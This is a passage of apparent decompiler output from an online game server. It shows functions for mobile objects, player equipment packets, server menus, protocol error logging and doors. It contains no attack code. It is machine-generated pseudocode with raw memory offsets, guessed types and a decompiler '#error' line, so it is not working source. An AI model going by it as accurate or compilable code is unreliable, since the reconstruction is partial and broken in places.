v6; // edi@3 v4 = this; if ( *((_BYTE *)this + 7416) & 0x10 ) { result = 1; } else { v6 = *(_DWORD *)(*(_DWORD *)(sklinf + 4) + 160); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)this + 1240))(this) < v6 ) { result = 0; } else { (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v4 + 1252))(v4, v6); result = 1; } } return result; } //----- (004F2CA0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck(void *this, int ts) { bool result; // al@2 if ( ts ) { if ( ts == 1 ) { result = (*(int (**)(void))(*(_DWORD *)this + 40))(); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck : Invalid target mode", ts); result = 0; } } else { result = (*(int (**)(void))(*(_DWORD *)this + 40))() == 0; } return result; } //----- (004F2CE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DuringFlying(int this) { return (*(_BYTE *)(this + 7416) >> 1) & 1; } //----- (004F2CF0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetHPChangeOrder(int this) { ++*(_WORD *)(this + 7160); return *(_WORD *)(this + 7160); } //----- (004F2D00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DeadCheck(int this, int cause) { int result; // eax@1 result = cause; *(_DWORD *)(this + 126) = cause; return result; } //----- (004F2D10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveReserve(int this, int goal, int speed, MoveManager::MMState state, int md) { int v5; // eax@1 signed int v6; // edi@2 signed int v7; // esi@2 v5 = *(_DWORD *)(this + 78); if ( md ) { v6 = *(_DWORD *)(v5 + 4) - *(_DWORD *)(goal + 4); v7 = *(_DWORD *)v5 - *(_DWORD *)goal; while ( v7 > 1024 || v7 < -1024 || v6 > 1024 || v6 < -1024 ) { v7 /= 2; v6 /= 2; } } else { v6 = *(_DWORD *)(goal + 4) - *(_DWORD *)(v5 + 4); v7 = *(_DWORD *)goal - *(_DWORD *)v5; while ( v7 > 1024 || v7 < -1024 || v6 > 1024 || v6 < -1024 ) { v7 /= 2; v6 /= 2; } } **(_BYTE **)(this + 82) = ddt.ddt_Table[1024][v6 + 2049 * v7 + 1024].direct; MoveManager::mm_MoveStart((MoveManager *)(this + 140), (SHINE_XY_TYPE *)goal, speed, state); } //----- (004F2DE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::_ShineMobileObject(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShineMobileObject::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(this + 4008)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 3736)); AbnormalStateContainer::AbstateListInObject::_AbstateListInObject((void *)(v1 + 204)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 140)); ShineObjectClass::ShineObject::_ShineObject(v1); } // 5C27D8: using guessed type int (*ShineObjectClass__ShineMobileObject___vftable_)(); //----- (004F2E70) -------------------------------------------------------- void __thiscall MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(MobTargetPlayerCaptivate *this) { MobTargetAggresive *v1; // esi@1 v1 = (MobTargetAggresive *)this; SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->PlayerTarget.mts_EnemyAnalyzer); MobTargetAggresive::_MobTargetAggresive(v1); } //----- (004F2EC0) -------------------------------------------------------- void *__thiscall MobTargetPlayerCaptivate::_vector_deleting_destructor_(MobTargetPlayerCaptivate *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004F2EE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_briefequipset(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_briefequipset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_briefequipset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 10); v3 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 21); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 33) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 1) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 35) = *(_WORD *)(v3 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 37) = *(_WORD *)(v4 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 39) = *(_WORD *)(v2 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 41) = *(_WORD *)(v5 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 43) = *(_WORD *)(v6 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 45) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 22) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 47) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 20) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 49) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 8) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 51) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 2) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 53) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 24) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 55) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 25) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 57) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 26) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 59) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 27) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 61) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 11) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 63) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 13) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 65) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 9) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 67) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 17) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 69) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 18) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 71) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 28) + 8); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73) = 16 * (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 44))(v3) | *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74) = *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v4 + 112) + 44))(*(_DWORD *)(v4 + 112), v5); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 75) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 75)) & 0xF; *((_DWORD *)v1 + 22246) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_briefequipset"); } //----- (004F3200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 10); v3 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 21); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 33) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 1) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 35) = *(_WORD *)(v3 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 37) = *(_WORD *)(v4 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 39) = *(_WORD *)(v2 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 41) = *(_WORD *)(v5 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 43) = *(_WORD *)(v6 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 45) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 22) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 47) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 20) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 49) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 8) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 51) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 2) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 53) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 24) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 55) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 25) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 57) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 26) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 59) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 27) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 61) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 11) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 63) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 13) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 65) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 9) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 67) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 17) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 69) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 18) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32047) + 71) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 28) + 8); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73) = 16 * (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 44))(v3) | *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 73) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74) = *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 74) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v4 + 112) + 44))(*(_DWORD *)(v4 + 112), v5); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 75) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 75)) & 0xF; *((_DWORD *)v1 + 22246) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"); } //----- (004F3520) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 int v7; // edx@1 int v8; // eax@1 int v9; // edx@1 int v10; // eax@1 int v11; // edx@1 int v12; // eax@1 int v13; // edx@1 int v14; // eax@1 int v15; // edx@1 int v16; // eax@1 int v17; // edx@1 int v18; // eax@1 int v19; // edx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 10); v3 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 21); *((_WORD *)v1 + 44522) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 1) + 8); *((_WORD *)v1 + 44523) = *(_WORD *)(v3 + 8); *((_WORD *)v1 + 44524) = *(_WORD *)(v4 + 8); *((_WORD *)v1 + 44525) = *(_WORD *)(v2 + 8); v7 = *((_DWORD *)v1 + 8050); *((_WORD *)v1 + 44526) = *(_WORD *)(v5 + 8); *((_WORD *)v1 + 44527) = *(_WORD *)(v6 + 8); *((_WORD *)v1 + 44528) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v7)((char *)v1 + 32200, 22) + 8); v8 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 20); v9 = *((_DWORD *)v1 + 8050); *((_WORD *)v1 + 44529) = *(_WORD *)(v8 + 8); *((_WORD *)v1 + 44530) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v9)((char *)v1 + 32200, 8) + 8); v10 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 2); v11 = *((_DWORD *)v1 + 8050); *((_WORD *)v1 + 44531) = *(_WORD *)(v10 + 8); *((_WORD *)v1 + 44532) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v11)((char *)v1 + 32200, 24) + 8); v12 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 25); v13 = *((_DWORD *)v1 + 8050); *((_WORD *)v1 + 44533) = *(_WORD *)(v12 + 8); *((_WORD *)v1 + 44534) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v13)((char *)v1 + 32200, 26) + 8); v14 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 27); v15 = *((_DWORD *)v1 + 8050); *((_WORD *)v1 + 44535) = *(_WORD *)(v14 + 8); *((_WORD *)v1 + 44536) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v15)((char *)v1 + 32200, 11) + 8); v16 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 13); v17 = *((_DWORD *)v1 + 8050); *((_WORD *)v1 + 44537) = *(_WORD *)(v16 + 8); *((_WORD *)v1 + 44538) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v17)((char *)v1 + 32200, 9) + 8); v18 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 17); v19 = *((_DWORD *)v1 + 8050); *((_WORD *)v1 + 44539) = *(_WORD *)(v18 + 8); *((_WORD *)v1 + 44540) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v19)((char *)v1 + 32200, 18) + 8); *((_WORD *)v1 + 44541) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 28) + 8); *((_BYTE *)v1 + 89084) ^= ((*(int (__stdcall **)(int))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *((_BYTE *)v1 + 89084)) & 0xF; *((_BYTE *)v1 + 89084) = 16 * (*(int (__stdcall **)(int))(**(_DWORD **)(v3 + 112) + 44))(v3) | *((_BYTE *)v1 + 89084) & 0xF; *((_BYTE *)v1 + 89085) ^= ((*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *((_BYTE *)v1 + 89085)) & 0xF; *((_BYTE *)v1 + 89085) = *((_BYTE *)v1 + 89085) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, int))(**(_DWORD **)(v4 + 112) + 44))( *(_DWORD *)(v4 + 112), v5); *((_BYTE *)v1 + 89086) ^= ((*(int (__stdcall **)(int))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *((_BYTE *)v1 + 89086)) & 0xF; *((_DWORD *)v1 + 22246) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"); } //----- (004F3810) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(void *this, const char *title) { void *v2; // esi@1 char *v3; // ebp@1 char *v4; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = gpp.pp_Buffer + 2; strncpy(gpp.pp_Buffer + 2, title, 0x80u); *(_WORD *)v3 = 15361; strncpy(v4, title, 0x80u); v4[141] = 0; ServerMenuActor::sma_Reset((ServerMenuActor *)((char *)v2 + 68344)); *((_BYTE *)v2 + 23325) &= 0xFDu; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"); return v2; } //----- (004F38F0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuItem(void *this, void (__thiscall *func)(ServerMenuFuncter *, #440 *, ServerMenuArgument *), const char *str, ServerMenuArgument *arg) { void *v4; // edi@1 char v5; // cl@1 char *v6; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer[143]; v6 = gpp.pp_Buffer + 2; if ( (unsigned __int8)v5 < 0xAu ) { v6[33 * (unsigned __int8)v5 + 142] = v5; strncpy(&v6[33 * (unsigned __int8)v6[141] + 143], str, 0x20u); ServerMenuActor::sma_Regist((ServerMenuActor *)((char *)v4 + 68344), func, arg); ++v6[141]; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem : Too many items", (unsigned __int8)v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"); return v4; } //----- (004F3A00) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(void *this, char priority, __int16 npcHandle, int npcPosition, __int16 limitRange) { void *v5; // esi@1 char *v6; // eax@1 int v7; // ecx@1 int v8; // edi@3 int v9; // edi@3 int v10; // eax@5 int v11; // eax@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer + 2; *(_WORD *)(gpp.pp_Buffer + 131) = npcHandle; v7 = npcPosition; v6[128] = priority; if ( !npcPosition ) v7 = *(_DWORD *)((char *)v5 + 78); v8 = 33 * (unsigned __int8)v6[141]; *(_DWORD *)(v6 + 131) = *(_DWORD *)v7; *(_DWORD *)(v6 + 135) = *(_DWORD *)(v7 + 4); v9 = v8 + 144; *(_WORD *)(v6 + 139) = limitRange; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v5, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen : Packet Too Long", v9); } v11 = *(_DWORD *)((char *)v5 + 78); *((_DWORD *)v5 + 17086) = *(_DWORD *)v11; *((_DWORD *)v5 + 17087) = *(_DWORD *)(v11 + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"); return v5; } //----- (004F3B40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DummyFunction(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 DebugLogging *v5; // esi@5 _iobuf *v6; // eax@7 char buf[64]; // [sp+10h] [bp-50h]@1 unsigned int v8; // [sp+50h] [bp-10h]@9 int v9; // [sp+5Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; sprintf(buf, "%d/%d"); AssertClass::ac_AssertFail(&shineassert, "Invalid protocol", buf); if ( DebugLogging::dl_ActivAll ) { if ( unk_1247FD54 ) { DebugLogging::dl_FilePoint(&InvalidProtocolLog); if ( unk_1247FBD0 ) fprintf(unk_1247FBD0, "%d"); } } v5 = DebugLogging::operator<<(&InvalidProtocolLog, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } DebugLogging::operator<<(v5, &deb_LF); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1670, 0, 0); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DummyFunction"); __security_check_cookie(v8); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F3CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::ShineDoor(ShineObjectClass::ShineDoor *this) { ShineObjectClass::ShineDoor *v1; // esi@1 PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineMobileObject::ShineMobileObject(); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineDoor::_vftable_; BriefInformationDoor::BriefInformationDoor(&v1->sd_DoorBriefInfo); *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[0] = 0; v2 = v1->sd_DoorBriefInfo.bid_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 4; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 12; } // 4F28D0: using guessed type int ShineObjectClass__ShineMobileObject__ShineMobileObject(void); // 5C35D0: using guessed type int (*ShineObjectClass__ShineDoor___vftable_)(); //----- (004F3D50) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineDoor::GetRTTI(ShineObjectClass::ShineDoor *this) { return &ShineObjectClass::ShineDoor::m_RTTI; } //----- (004F3D60) -------------------------------------------------------- #error "4F3D60: undefined or illegal type '#331' (funcsize=16)" //----- (004F3D90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDoor::so_ObjectType(ItemQuestItemBox *this) { return 7; } //----- (004F3DA0) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDoor::so_LoginLocation(ShineObjectClass::ShineDoor *this) { return &this->sd_Locate; } //----- (004F3DB0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineDoor::so_RemakeHandle(ShineObjectClass::ShineDoor *this, unsigned __int16 handle) { ShineObjectClass::ShineDoor *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 0xF; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 